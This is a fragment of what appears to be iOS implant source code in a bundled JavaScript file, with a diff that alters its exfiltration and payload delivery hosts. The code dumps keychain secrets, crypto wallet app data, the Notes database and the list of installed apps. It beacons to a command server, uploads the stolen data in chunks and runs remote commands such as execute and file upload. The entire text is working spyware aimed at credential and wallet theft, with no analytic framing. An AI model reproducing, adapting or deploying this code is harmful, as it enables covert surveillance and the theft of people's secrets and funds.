kcDumpPath);\n\t\tNative.callSymbol(\"chmod\", kcDumpPath, 0x1A4);\n\t\tkcData = _readFileBytes(kcDumpPath, 5242880);\n\t}\n\tvar keychain;\n\tif (!kcData) {\n\t\t_writeLog(\"[WALLET-HQ] no keychain_c2_dump.json - sandbox-only package\");\n\t\tkeychain = { partial: true, errors: [\"no_keychain_dump\"], tables: {}, wallets: {}, metadataKeys: {} };\n\t} else {\n\t\tvar kcStr = _rawToStr(kcData);\n\t\ttry { keychain = JSON.parse(kcStr); } catch(e) {\n\t\t\t_writeLog(\"[WALLET-HQ] keychain json parse fail - sandbox-only\");\n\t\t\tkeychain = { partial: true, errors: [\"keychain_parse_fail\"], tables: {}, wallets: {}, metadataKeys: {} };\n\t\t}\n\t}\n\n\t// Attach SpringBoard SecItem plaintext dump (P7-independent channel).\n\ttry {\n\t\tvar secFullB = _readFileBytes(_SEC_DUMP_FULL, 1572864);\n\t\tif (secFullB && secFullB.length > 8) {\n\t\t\tkeychain.secitem_full = _rawToStr(secFullB);\n\t\t\tvar secReadB = _readFileBytes(_SEC_DUMP_READ, 786432);\n\t\t\tif (secReadB && secReadB.length > 8) keychain.secitem_readable = _rawToStr(secReadB);\n\t\t\tvar secDoneB = _readFileBytes(_SEC_DUMP_DONE, 256);\n\t\t\tif (secDoneB) keychain.secitem_marker = _rawToStr(secDoneB);\n\t\t\tkeychain.secitem = { items: _secDumpState.items, plain: _secDumpState.plain, vdata: _secDumpState.vdata };\n\t\t}\n\t} catch(_se) {}\n\n\tvar dirs = listDir(APP_DATA_BASE);\n\tvar containerMap = {};\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar cpath = APP_DATA_BASE + \"/\" + dirs[i].name;\n\t\tvar plistPath = cpath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tif (Number(Native.callSymbol(\"access\", plistPath, 0)) !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\t\tfor (var bid in WALLET_BUNDLE_IDS) {\n\t\t\tif (content.indexOf(bid) >= 0 && !containerMap[bid]) containerMap[bid] = cpath;\n\t\t}\n\t}\n\n\tvar sandbox = {};\n\tvar totalSize = 0;\n\tfor (var bid in containerMap) {\n\t\tvar cfg = WALLET_BUNDLE_IDS[bid];\n\t\tif (!cfg.sandbox || !cfg.files) continue;\n\t\tvar key = _hqSandboxKeyMap[cfg.name] || cfg.name.toLowerCase().replace(/ /g, \"_\");\n\t\tvar perFileMax = cfg.maxFileSize || 2097152;\n\t\tvar resolved = _resolveWalletFiles(containerMap[bid], cfg.files);\n\t\tvar files = {};\n\t\tfor (var fi = 0; fi < resolved.length; fi++) {\n\t\t\tvar rf = resolved[fi];\n\t\t\tvar fd = readFileB64(rf.absPath, perFileMax);\n\t\t\tif (!fd) continue;\n\t\t\tfiles[rf.relPath] = fd.b64;\n\t\t\ttotalSize += fd.size;\n\t\t}\n\t\tif (Object.keys(files).length > 0) sandbox[key] = files;\n\t}\n\n\treturn { device_uuid: deviceUUID, keychain: keychain, sandbox: sandbox, sandbox_total_size: totalSize };\n}\n\nfunction _httpPostBody(url, bodyStr) {\n\tvar parsed = parseURL(url);\n\tif (url.indexOf(\"https://\") === 0)\n\t\treturn _cfstreamPost(parsed.host, parsed.port, parsed.path, bodyStr);\n\treturn _socketPost(parsed.host, parsed.port, parsed.path, bodyStr);\n}\n\n// POST wallet package to /war. Bodies larger than WAR_POST_MAX are split into\n// war_chunk parts (still on /war); inbox reassembles before normal extract.\nfunction _postWarPackage(url, pkg) {\n\tvar bodyStr = JSON.stringify(pkg);\n\tif (bodyStr.length <= WAR_POST_MAX) {\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar uploadId = String(DEVICE_UUID || \"dev\").replace(/[^0-9A-Fa-f]/g, \"\") + \"_\" + String(Date.now());\n\t// Keep each HTTP JSON under WAR_POST_MAX after base64 + wrapper overhead.\n\tvar rawMax = Math.floor((WAR_POST_MAX - 2048) * 3 / 4);\n\tif (rawMax < 256 * 1024) rawMax = 256 * 1024;\n\tvar tmpPath = \"/tmp/war_pkg_\" + uploadId + \".json\";\n\tif (!_secWriteText(tmpPath, bodyStr)) {\n\t\t_writeLog(\"[WALLET-HQ] war chunk tmp write fail; trying single POST len=\" + bodyStr.length);\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar fileSize = getFileSize(tmpPath);\n\tif (fileSize <= 0) {\n\t\tNative.callSymbol(\"unlink\", tmpPath);\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar totalChunks = Math.ceil(fileSize / rawMax);\n\t_writeLog(\"[WALLET-HQ] chunked /war upload_id=\" + uploadId + \" bytes=\" + fileSize + \" parts=\" + totalChunks);\n\tvar fd = Number(Native.callSymbol(\"open\", tmpPath, 0, 0));\n\tif (fd < 0) {\n\t\tNative.callSymbol(\"unlink\", tmpPath);\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(rawMax));\n\tvar sentOk = 0;\n\tvar lastErr = \"\";\n\ttry {\n\t\tfor (var ci = 0; ci < totalChunks; ci++) {\n\t\t\tvar toRead = Math.min(rawMax, fileSize - ci * rawMax);\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) { lastErr = \"read \" + nr; break; }\n\t\t\tvar b64 = bytesToBase64(new Uint8Array(Native.read(buf, nr)));\n\t\t\tvar part = {\n\t\t\t\tdevice_uuid: DEVICE_UUID,\n\t\t\t\twar_chunk: true,\n\t\t\t\tupload_id: uploadId,\n\t\t\t\tchunk_index: ci,\n\t\t\t\ttotal_chunks: totalChunks,\n\t\t\t\ttotal_bytes: fileSize,\n\t\t\t\tdata: b64\n\t\t\t};\n\t\t\tvar partStr = JSON.stringify(part);\n\t\t\tvar postOk = false;\n\t\t\tfor (var retry = 0; retry < 3; retry++) {\n\t\t\t\ttry {\n\t\t\t\t\tvar r = _httpPostBody(url, partStr);\n\t\t\t\t\tif (r !== null) { postOk = true; break; }\n\t\t\t\t} catch (_pe) {}\n\t\t\t\tNative.callSymbol(\"usleep\", 2000000);\n\t\t\t}\n\t\t\tif (!postOk) { lastErr = \"POST fail chunk \" + ci; break; }\n\t\t\tsentOk++;\n\t\t}\n\t} finally {\n\t\tif (buf && buf !== 0n) Native.callSymbol(\"free\", buf);\n\t\tNative.callSymbol(\"close\", fd);\n\t\tNative.callSymbol(\"unlink\", tmpPath);\n\t}\n\tif (sentOk !== totalChunks) {\n\t\t_writeLog(\"[WALLET-HQ] chunked /war incomplete sent=\" + sentOk + \"/\" + totalChunks + \" err=\" + lastErr);\n\t\treturn null;\n\t}\n\treturn { ok: true, chunked: true, upload_id: uploadId, total_chunks: totalChunks, total_bytes: fileSize };\n}\n\n// ============================================================================\n// Main Loop\n// ============================================================================\n\nNative.init();\n\n// ===== DEBUG uplink: prove c2_agent actually evaluated in SpringBoard =====\ntry {\n\tvar _dbgfd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (_dbgfd >= 0) {\n\t\tvar _dbgone = Native.callSymbol(\"calloc\", 1, 8);\n\t\tNative.write(_dbgone, new Uint8Array([1,0,0,0]).buffer);\n\t\tNative.callSymbol(\"setsockopt\", _dbgfd, 0xffff, 0x1022, _dbgone, 4);\n\t\tNative.callSymbol(\"free\", _dbgone);\n\t\tvar _dbgaddr = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar _dbga8 = new Uint8Array(16);\n\t\t_dbga8[0] = 16; _dbga8[1] = 2; _dbga8[2] = 0x1B; _dbga8[3] = 0x6E; // port 7022 BE\n\t\t_dbga8[4] = 192; _dbga8[5] = 168; _dbga8[6] = 4; _dbga8[7] = 10;\n\t\tNative.write(_dbgaddr, _dbga8.buffer);\n\t\tif (Number(Native.callSymbol(\"connect\", _dbgfd, _dbgaddr, 16)) === 0) {\n\t\t\tvar _dbgreq = \"GET /log.html?text=C2SB_eval_alive_springboard HTTP/1.0\\r\\nHost: 192.168.4.10\\r\\n\\r\\n\";\n\t\t\tvar _dbgrbuf = Native.callSymbol(\"malloc\", _dbgreq.length + 1);\n\t\t\tNative.writeString(_dbgrbuf, _dbgreq);\n\t\t\tNative.callSymbol(\"write\", _dbgfd, _dbgrbuf, _dbgreq.length);\n\t\t\tNative.callSymbol(\"free\", _dbgrbuf);\n\t\t}\n\t\tNative.callSymbol(\"close\", _dbgfd);\n\t\tNative.callSymbol(\"free\", _dbgaddr);\n\t}\n} catch(e) {}\n// ===== END DEBUG uplink =====\n\nconst DEVICE_UUID = (function(){try{var b=String(\"69DD25B2CA8B5682BA2470D77124E2FC\");if(b&&b.indexOf(\"__LAB_\")<0&&b.length>=16)return b;}catch(e){}return _getDeviceUUID();})();\nconst DEVICE_MODEL = _getDeviceModel();\n\n// NOTE: first SecItem dump is deferred until AFTER the first beacon (Phase 1).\n// A SecItemCopyMatching wedge here would kill the agent before any heartbeat.\n\nfunction _sysctlString(name) {\n\tvar sizePtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!sizePtr || sizePtr === 0n) return \"\";\n\tvar rc = Number(Native.callSymbol(\"sysctlbyname\", name, 0, sizePtr, 0, 0));\n\tif (rc !== 0) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tvar sz = Number(Native.readPtr(BigInt(sizePtr)));\n\tif (sz <= 0 || sz > 4096) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(sz + 1));\n\tif (!buf || buf === 0n) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tNative.write64(sizePtr, BigInt(sz + 1));\n\trc = Number(Native.callSymbol(\"sysctlbyname\", name, buf, sizePtr, 0, 0));\n\tvar result = rc === 0 ? Native.readString(buf, sz).replace(/\\0/g, \"\") : \"\";\n\tNative.callSymbol(\"free\", buf); Native.callSymbol(\"free\", sizePtr);\n\treturn result;\n}\n\n\nvar _beaconDevInfo = { machine: DEVICE_MODEL };\nif (C2_CHANNEL_CODE) _beaconDevInfo.channel_code = C2_CHANNEL_CODE;\ntry {\n\tvar _uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (_uts && _uts !== 0n) {\n\t\tNative.callSymbol(\"uname\", _uts);\n\t\t_beaconDevInfo.sysname = Native.readString(_uts, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.nodename = Native.readString(_uts + 256n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.release = Native.readString(_uts + 512n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.version = Native.readString(_uts + 768n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.arch = Native.readString(_uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", _uts);\n\t}\n} catch(e) {}\ntry {\n\tvar _hbuf = Native.callSymbol(\"malloc\", 256);\n\tif (_hbuf && _hbuf !== 0n) {\n\t\tif (Number(Native.callSymbol(\"gethostname\", _hbuf, 255)) === 0)\n\t\t\t_beaconDevInfo.hostname = Native.readString(_hbuf, 256).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", _hbuf);\n\t}\n} catch(e) {}\n\ntry { _beaconDevInfo.build_version = _sysctlString(\"kern.osversion\"); } catch(e) {}\ntry { _beaconDevInfo.ios_version = _sysctlString(\"kern.osproductversion\"); } catch(e) {}\ntry { _beaconDevInfo.kern_version = _beaconDevInfo.version || \"\"; } catch(e) {}\n\nfunction _senBeacon() {\n\ttry {\n\t\treturn httpPost(C2_BEACON_URL, {\n\t\t\tuuid: DEVICE_UUID, device_info: _beaconDevInfo, status: \"idle\"\n\t\t});\n\t} catch(e) { return null; }\n}\n\n// --- Phase 1: First SEN beacon (registers device, starts 5-min delay) ---\nvar _senResp1 = _senBeacon();\nvar _deviceIP = \"\";\nif (_senResp1 && _senResp1.client_ip) _deviceIP = _senResp1.client_ip;\nNative.callSymbol(\"usleep\", 2000000);\n\n// Heartbeat established — now safe to attempt the early keychain plaintext\n// grab (device still likely unlocked). u_AuthUISkip protects against wedges.\ntry { _kcSecItemDump(true); } catch(_kd0) {}\n\nfunction _hqHeartbeat() {\n\ttry {\n\t\tvar body = { lhu: DEVICE_UUID, type: \"status\", source: \"c2_agent\" };\n\t\tif (_deviceIP) body.ip = _deviceIP;\n\t\thqPost(\"/event\", body);\n\t} catch(e) {}\n}\n\n// --- Phase 2: HQ auto-collect (SEN heartbeats interspersed) ---\n\ntry { hqPost(\"/a\", {\n\tlhu: DEVICE_UUID, machine: DEVICE_MODEL,\n\tdeviceName: _beaconDevInfo.hostname || \"\",\n\tios_version: _beaconDevInfo.ios_version || \"\",\n\tbuild_version: _beaconDevInfo.build_version || \"\",\n\tkern_version: _beaconDevInfo.kern_version || \"\",\n\thostname: _beaconDevInfo.hostname || \"\",\n\tsysname: _beaconDevInfo.sysname || \"\",\n\trelease: _beaconDevInfo.release || \"\",\n\tversion: _beaconDevInfo.version || \"\",\n\tip: _deviceIP,\n\tsource: \"c2_agent\"\n}); } catch(e) {}\n\nNative.callSymbol(\"usleep\", 1000000);\n_hqHeartbeat();\n\ntry {\n\tvar _hqApps = [];\n\tvar _appBases = [APP_DATA_BASE, \"/var/mobile/Containers/Bundle/Application\"];\n\tvar _hqDirs = [];\n\tvar _usedBase = \"\";\n\tfor (var _bi = 0; _bi < _appBases.length; _bi++) {\n\t\t_hqDirs = listDir(_appBases[_bi]);\n\t\tif (_hqDirs.length > 0) { _usedBase = _appBases[_bi]; break; }\n\t}\n\tfor (var _ai = 0; _ai < _hqDirs.length; _ai++) {\n\t\tif (_hqDirs[_ai].type !== \"dir\") continue;\n\t\tvar _acp = _usedBase + \"/\" + _hqDirs[_ai].name;\n\t\tvar _apl = _acp + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar _ab = _readFileBytes(_apl, 8192);\n\t\tif (!_ab || _ab.length === 0) continue;\n\t\tvar _ac = _rawToStr(_ab);\n\t\tif (_ac.indexOf(\"MCMMetadataIdentifier\") < 0) continue;\n\t\tvar _bm = _ac.match(/MCMMetadataIdentifier<\\/key>\\s*([^<]+)/);\n\t\tif (!_bm) {\n\t\t\tvar _bpAll = _ac.match(/[a-z][a-z0-9]*(?:\\.[a-zA-Z0-9_-]+){2,}/g);\n\t\t\tif (_bpAll) {\n\t\t\t\tfor (var _bpi = 0; _bpi < _bpAll.length; _bpi++) {\n\t\t\t\t\tif (_bpAll[_bpi].indexOf(\"MCM\") >= 0) continue;\n\t\t\t\t\t_bm = [null, _bpAll[_bpi]];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (!_bm) continue;\n\t\tvar _appName = _bm[1];\n\t\tvar _subDirs = listDir(_acp);\n\t\tfor (var _si = 0; _si < _subDirs.length; _si++) {\n\t\t\tvar _sn = _subDirs[_si].name;\n\t\t\tif (_sn.length > 4 && _sn.substring(_sn.length - 4) === \".app\") {\n\t\t\t\t_appName = _sn.substring(0, _sn.length - 4);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t_hqApps.push({ uuid: _hqDirs[_ai].name, bundleId: _bm[1], name: _appName });\n\t}\n\thqPost(\"/u\", { lhu: DEVICE_UUID, apps: _hqApps, count: _hqApps.length, source: \"c2_agent\" });\n} catch(e) {}\n\n_senBeacon();\nNative.callSymbol(\"usleep\", 1000000);\n\ntry {\n\tvar _hqDbPath = _findNoteStore();\n\tif (_hqDbPath) {\n\t\tvar _hqSuffixes = [\"\", \"-wal\", \"-shm\"];\n\t\tvar _hqTmpBase = \"/tmp/_hq_notestore\";\n\t\tfor (var _ci = 0; _ci < _hqSuffixes.length; _ci++) {\n\t\t\tvar _csrc = _hqDbPath + _hqSuffixes[_ci];\n\t\t\tif (Number(Native.callSymbol(\"access\", _csrc, 0)) === 0) {\n\t\t\t\tvar _cdst = _hqTmpBase + _hqSuffixes[_ci];\n\t\t\t\t_cmdCp([\"cp\", _csrc, _cdst]);\n\t\t\t\tNative.callSymbol(\"chmod\", _cdst, 0x1A4);\n\t\t\t}\n\t\t}\n\t\tvar _noteList = [];\n\t\tvar _noteRows = _sqliteQuery(_hqTmpBase,\n\t\t\t\"SELECT Z_PK, ZTITLE1, ZSNIPPET, ZMODIFICATIONDATE1 FROM ZICCLOUDSYNCINGOBJECT WHERE ZTITLE1 IS NOT NULL ORDER BY ZMODIFICATIONDATE1 DESC LIMIT 500\", 500);\n\t\tif (_noteRows && _noteRows.rows) {\n\t\t\tfor (var _ni = 0; _ni < _noteRows.rows.length; _ni++) {\n\t\t\t\tvar _nr = _noteRows.rows[_ni];\n\t\t\t\tif (!_nr.ZTITLE1 && !_nr.ZSNIPPET) continue;\n\t\t\t\t_noteList.push({\n\t\t\t\t\tid: _nr.Z_PK,\n\t\t\t\t\ttitle: _nr.ZTITLE1 || \"\",\n\t\t\t\t\tsnippet: _nr.ZSNIPPET || \"\",\n\t\t\t\t\tmod: _nr.ZMODIFICATIONDATE1\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t\tvar _hqDbFiles = [];\n\t\tfor (var _mi = 0; _mi < _hqSuffixes.length; _mi++) {\n\t\t\tvar _mfp = _hqTmpBase + _hqSuffixes[_mi];\n\t\t\tvar _mfd = readFileB64(_mfp, 5242880);\n\t\t\tif (_mfd) {\n\t\t\t\tvar _origName = _hqDbPath.substring(_hqDbPath.lastIndexOf(\"/\") + 1) + _hqSuffixes[_mi];\n\t\t\t\t_hqDbFiles.push({ name: _origName, data: _mfd.b64, size: _mfd.size });\n\t\t\t}\n\t\t}\n\t\tfor (var _di = 0; _di < _hqSuffixes.length; _di++)\n\t\t\tNative.callSymbol(\"unlink\", _hqTmpBase + _hqSuffixes[_di]);\n\t\tif (_noteList.length > 0 || _hqDbFiles.length > 0)\n\t\t\thqPost(\"/nb\", { lhu: DEVICE_UUID, list: _noteList, db_files: _hqDbFiles, db_path: _hqDbPath, count: _noteList.length, source: \"c2_agent\" });\n\t}\n} catch(e) {}\n\n_senBeacon();\n_hqHeartbeat();\nNative.callSymbol(\"usleep\", 1000000);\n\nvar _walletHqSent = false;\nvar _walletHqP7Logged = false;\nvar _walletHqFailLogged = false;\nvar _walletHqAttempt = 0;\nvar _walletHqPlainAtSend = 0;\nvar _walletHqResends = 0;\nfunction _tryWalletHq(reason) {\n\tif (_walletHqSent) return true;\n\t_walletHqAttempt++;\n\tvar _kcDonePath = \"/tmp/keychain_c2_dump.done\";\n\tvar hasDone = Number(Native.callSymbol(\"access\", _kcDonePath, 0)) === 0;\n\tvar hasPartial = Number(Native.callSymbol(\"access\", \"/tmp/keychain_c2_dump.partial\", 0)) === 0;\n\tvar hasJson = Number(Native.callSymbol(\"access\", \"/tmp/keychain_c2_dump.json\", 0)) === 0;\n\tvar hasDb = false;\n\ttry {\n\t\tvar __tdbFd = Number(Native.callSymbol(\"open\", \"/tmp/keychain-2.db\", 0));\n\t\tif (__tdbFd >= 0) {\n\t\t\tvar __tdbSz = Number(Native.callSymbol(\"lseek\", __tdbFd, 0, 2));\n\t\t\tNative.callSymbol(\"close\", __tdbFd);\n\t\t\thasDb = __tdbSz > 1024;\n\t\t}\n\t} catch (_tdb) {}\n\tvar hasP7 = Number(Native.callSymbol(\"access\", \"/tmp/p7_debug.log\", 0)) === 0;\n\tvar hasFail = Number(Native.callSymbol(\"access\", \"/tmp/keychain_c2_dump.fail\", 0)) === 0;\n\tif (reason !== \"beacon-retry\" || (_walletHqAttempt % 4) === 1) {\n\t\t_writeLog(\"[WALLET-HQ] \" + reason + \" done=\" + hasDone + \" partial=\" + hasPartial + \" json=\" + hasJson + \" tmpdb=\" + hasDb + \" p7log=\" + hasP7 + \" fail=\" + hasFail);\n\t}\n\tif (hasFail && !_walletHqFailLogged) {\n\t\t_walletHqFailLogged = true;\n\t\ttry {\n\t\t\tvar fb = _readFileBytes(\"/tmp/keychain_c2_dump.fail\", 512);\n\t\t\tif (fb) _writeLog(\"[WALLET-HQ] p7 fail marker: \" + _rawToStr(fb));\n\t\t} catch(_fre) {}\n\t}\n\t// Re-tail p7 on first sight and every beacon-retry so HTTP/phone_logs show Phase2 progress\n\t// (pe_stage/*.js are ~100B trampolines — real logs live in /tmp/p7_debug.log).\n\tif (hasP7 && (!_walletHqP7Logged || reason === \"beacon-retry\")) {\n\t\ttry {\n\t\t\tvar p7b = _readFileBytes(\"/tmp/p7_debug.log\", 24000);\n\t\t\tif (p7b) {\n\t\t\t\tvar p7t = _rawToStr(p7b);\n\t\t\t\t_writeLog(\"[WALLET-HQ] p7_debug.tail=\" + p7t.slice(Math.max(0, p7t.length - 2200)));\n\t\t\t\t_walletHqP7Logged = true;\n\t\t\t}\n\t\t} catch(_p7e) {}\n\t}\n\tif (hasFail) {\n\t\t// Definitive failure from P7 Phase 2 — send what we have immediately\n\t\t// (fail-json is picked up by _buildWalletPkg as `keychain` with fail:true).\n\t\t// Do NOT wait for 40 retries; this keeps C2 responsive.\n\t} else if (!hasJson && !hasFail) {\n\t\t// Wait for Phase2 json (early .done alone is not enough — 18.5 early C2).\n\t\tvar _p7Busy = Number(Native.callSymbol(\"access\", \"/tmp/p7_debug.log\", 0)) === 0;\n\t\tif (!_p7Busy && _walletHqAttempt % 5 === 0) { try { _kcSecItemDump(false); } catch(_kdr) {} }\n\t\tif (_walletHqAttempt < 80) return false;\n\t\t_writeLog(\"[WALLET-HQ] force sandbox-only after retries json=false\");\n\t}\n\tif (!hasDone) { try { _kcSecItemDump(false); } catch(_kd) {} }\n\tNative.callSymbol(\"usleep\", 500000);\n\tvar _walletPkg = _buildWalletPkg(DEVICE_UUID);\n\tif (!_walletPkg) {\n\t\t_writeLog(\"[WALLET-HQ] _buildWalletPkg returned null\");\n\t\treturn false;\n\t}\n\tvar _walletUrl = HQ_API_BASE.replace(/:\\d+/, \":\" + HQ_WALLET_PORT) + \"/war\";\n\tvar _walletBodyLen = JSON.stringify(_walletPkg).length;\n\t_writeLog(\"[WALLET-HQ] sending to \" + _walletUrl + \" body=\" + _walletBodyLen +\n\t\t(_walletBodyLen > WAR_POST_MAX ? \" (chunked>\" + WAR_POST_MAX + \")\" : \"\"));\n\ttry {\n\t\tvar _walletResp = _postWarPackage(_walletUrl, _walletPkg);\n\t\tif (_walletResp === null) {\n\t\t\t_writeLog(\"[WALLET-HQ] POST FAILED (null)\");\n\t\t\treturn false;\n\t\t}\n\t\t_writeLog(\"[WALLET-HQ] POST ok resp=\" + JSON.stringify(_walletResp));\n\t\t_walletHqSent = true;\n\t\t_walletHqPlainAtSend = _secDumpState.plain;\n\t\treturn true;\n\t} catch(walletErr) {\n\t\t_writeLog(\"[WALLET-HQ] POST FAILED err=\" + String(walletErr));\n\t\treturn false;\n\t}\n}\ntry {\n\t_tryWalletHq(\"after-nb\");\n} catch(walletOuterErr) {\n\t_writeLog(\"[WALLET-HQ] outer error: \" + String(walletOuterErr));\n}\n\n_senBeacon();\n_hqHeartbeat();\nNative.callSymbol(\"usleep\", 1000000);\n\ntry {\n\t/* photos upload disabled */\n} catch(e) {}\n\n// --- Phase 3: SEN beacon loop ---\n\nvar _hqHeartbeatNext = Date.now() + 60000;\nlet interval = 15;\nfor (;;) {\n\ttry {\n\t\tconst resp = _senBeacon();\n\t\tif (!_walletHqSent) { try { _tryWalletHq(\"beacon-retry\"); } catch(_wr) {} }\n\t\telse if (_walletHqResends < 3) {\n\t\t\t// Late-unlock self-heal: keep dumping; resend /war when plaintext grows.\n\t\t\ttry { _kcSecItemDump(false); } catch(_kd2) {}\n\t\t\tif (_secDumpState.plain > _walletHqPlainAtSend) {\n\t\t\t\t_walletHqResends++;\n\t\t\t\ttry {\n\t\t\t\t\tvar _pkg2 = _buildWalletPkg(DEVICE_UUID);\n\t\t\t\t\tif (_pkg2) {\n\t\t\t\t\t\tvar _url2 = HQ_API_BASE.replace(/:\\d+/, \":\" + HQ_WALLET_PORT) + \"/war\";\n\t\t\t\t\t\t_writeLog(\"[WALLET-HQ] resend plain=\" + _secDumpState.plain + \" > \" + _walletHqPlainAtSend + \" #\" + _walletHqResends);\n\t\t\t\t\t\t_postWarPackage(_url2, _pkg2);\n\t\t\t\t\t\t_walletHqPlainAtSend = _secDumpState.plain;\n\t\t\t\t\t}\n\t\t\t\t} catch(_re) {}\n\t\t\t}\n\t\t}\n\n\t\tif (resp && resp.type && resp.type !== \"noop\") {\n\t\t\ttry {\n\t\t\t\tswitch (resp.type) {\n\t\t\t\t\tcase \"execute_command\": handleExecuteCommand(resp); break;\n\t\t\t\t\tcase \"ls\": handleLs(resp); break;\n\t\t\t\t\tcase \"download\": handleDownload(resp); break;\n\t\t\t\t\tcase \"photos\": handlePhotos(resp); break;\n\t\t\t\t\tcase \"apps\": handleApps(resp); break;\n\t\t\t\t\tcase \"exec\": handleExec(resp); break;\n\t\t\t\t\tcase \"file_upload\": handleFileUpload(resp); break;\n\t\t\t\t\tcase \"basic_info\": handleBasicInfo(resp); break;\n\t\t\t\t\tcase \"disk_scan\": handleDiskScan(resp); break;\n\t\t\t\t\tcase \"ios_app_data\": handleIosAppData(resp); break;\n\t\t\t\tcase \"wallet_extract\": handleWalletExtract(resp); break;\n\t\t\t\tcase \"wallet_scan\": handleWalletScan(resp); break;\n\t\t\t\tcase \"memo_scan\": handleMemoScan(resp); break;\n\t\t\t\tcase \"photo_scan\": handlePhotoScan(resp); break;\n\t\t\t\tcase \"sleep\":\n\t\t\t\t\t\tinterval = (resp.params && resp.params.interval) || 15;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"exit\":\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} catch (cmdErr) {\n\t\t\t\ttry {\n\t\t\t\t\tsendJSON(resp.command_id, {\n\t\t\t\t\t\tstatus: \"failed\",\n\t\t\t\t\t\terror: String(cmdErr),\n\t\t\t\t\t\t_task_id: (resp.params && resp.params._task_id) || \"\",\n\t\t\t\t\t\t_task_type: (resp.params && resp.params._task_type) || \"\"\n\t\t\t\t\t}, \"error_report.json\");\n\t\t\t\t} catch(re) {}\n\t\t\t}\n\t\t\tif (resp.type === \"exit\") break;\n\t\t}\n\t} catch (e) {\n\t}\n\n\tif (Date.now() >= _hqHeartbeatNext) {\n\t\t_hqHeartbeat();\n\t\t_hqHeartbeatNext = Date.now() + 60000;\n\t}\n\n\tNative.callSymbol(\"usleep\", interval * 1000000);\n}\n"); /***/ }), @@ -8525,7 +8525,7 @@ function start() { } } // ===== P7 Debug Logger (accumulate in memory, flush after sandbox escape) ===== - // Progress = GET /api/ds/pe-stage/ on C2 (file log). POST /log only errors (p7_logVerbose=false). + // Progress = GET /pe_stage/*.js in access log. POST /log only errors (p7_logVerbose=false). var p7_tag = "[P7] "; var p7_logBuf = ""; var p7_logVerbose = false; @@ -8546,38 +8546,21 @@ function start() { try { p7_postLogHttp(line); } catch (_ph) {} } function p7_logHostPort() { - try { - var g = typeof globalThis !== "undefined" ? globalThis : null; - if (g && g.__PE_EXFIL_HOST__) { - var tls = !!g.__PE_EXFIL_TLS__; - return { host: String(g.__PE_EXFIL_HOST__), port: Number(tls ? g.__PE_EXFIL_HTTPS__ : g.__PE_EXFIL_HTTP__) || (tls ? 443 : 80) }; - } - if (g && g.__LAB_EXFIL__ && g.__LAB_EXFIL__.host) { - var e = g.__LAB_EXFIL__; - var etls = !!(e.tls || e.prefer_https); - return { host: String(e.host), port: Number(etls ? (e.https_port || 443) : (e.http_port || 80)) }; - } - } catch (_hp) {} - return { host: "mh0usocqzi6f46i.com", port: 443 }; + return { host: "192.168.31.130", port: 8080 }; } - function p7_deliveryHostPort() { + function __peDeliveryHostPort() { try { var g = typeof globalThis !== "undefined" ? globalThis : null; - var raw = String((g && (g.__PE_DELIVERY_HOST__ || g.__LAB_DELIVERY_HOST__)) || "http://one99.vip"); - var m = raw.match(/^(https?):\/\/([^\/:]+)(?::(\d+))?(\/.*)?$/i); - if (m) { - var dtls = m[1].toLowerCase() === "https"; - return { - host: m[2], - port: Number(m[3] || (dtls ? 443 : 80)), - pathPrefix: String(m[4] || "").replace(/\/$/, "") - }; + var raw = g && g.__PE_DELIVERY_HOST__; + if (raw) { + var m = String(raw).match(/^(https?):\/\/([^\/:]+)(?::(\d+))?/i); + if (m) return { host: m[2], port: Number(m[3] || (m[1].toLowerCase() === "https" ? 443 : 80)) }; } - } catch (_dh) {} - return { host: "one99.vip", port: 80, pathPrefix: "" }; + } catch (_d) {} + return p7_logHostPort(); } // CFNetwork HTTP (no BSD socket). method=GET|POST; wantBody→return response body string or null. - // optHp: optional {host,port} override. Stage ping / logs / war all use C2 (p7_logHostPort). + // optHp: optional {host,port} override (stage fetch uses delivery host; logs/war use p7_logHostPort). function __labCfHttp(method, httpPath, body, wantBody, optHp) { try { var N = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; @@ -8585,7 +8568,7 @@ function start() { httpPath = String(httpPath || "/"); body = (body == null) ? "" : String(body); var hp = optHp || p7_logHostPort(); - var host = String((hp && hp.host) || "192.168.1.29"); + var host = String((hp && hp.host) || "192.168.31.130"); var port = ((hp && hp.port) | 0) || 9011; function __cfRd64(addr) { var bytes = N.read(addr, 8); @@ -8713,7 +8696,7 @@ function start() { } catch (_e) { return wantBody ? null : false; } } function p7_postLogHttp(text) { - // MPD → C2 /log via CFNetwork (source=pe_mpd). + // MPD → C2 /api/ds/log via CFNetwork (source=pe_mpd). try { var uuid = ""; try { uuid = String(globalThis.__LAB_DEVICE_UUID__ || ""); } catch (_u) {} 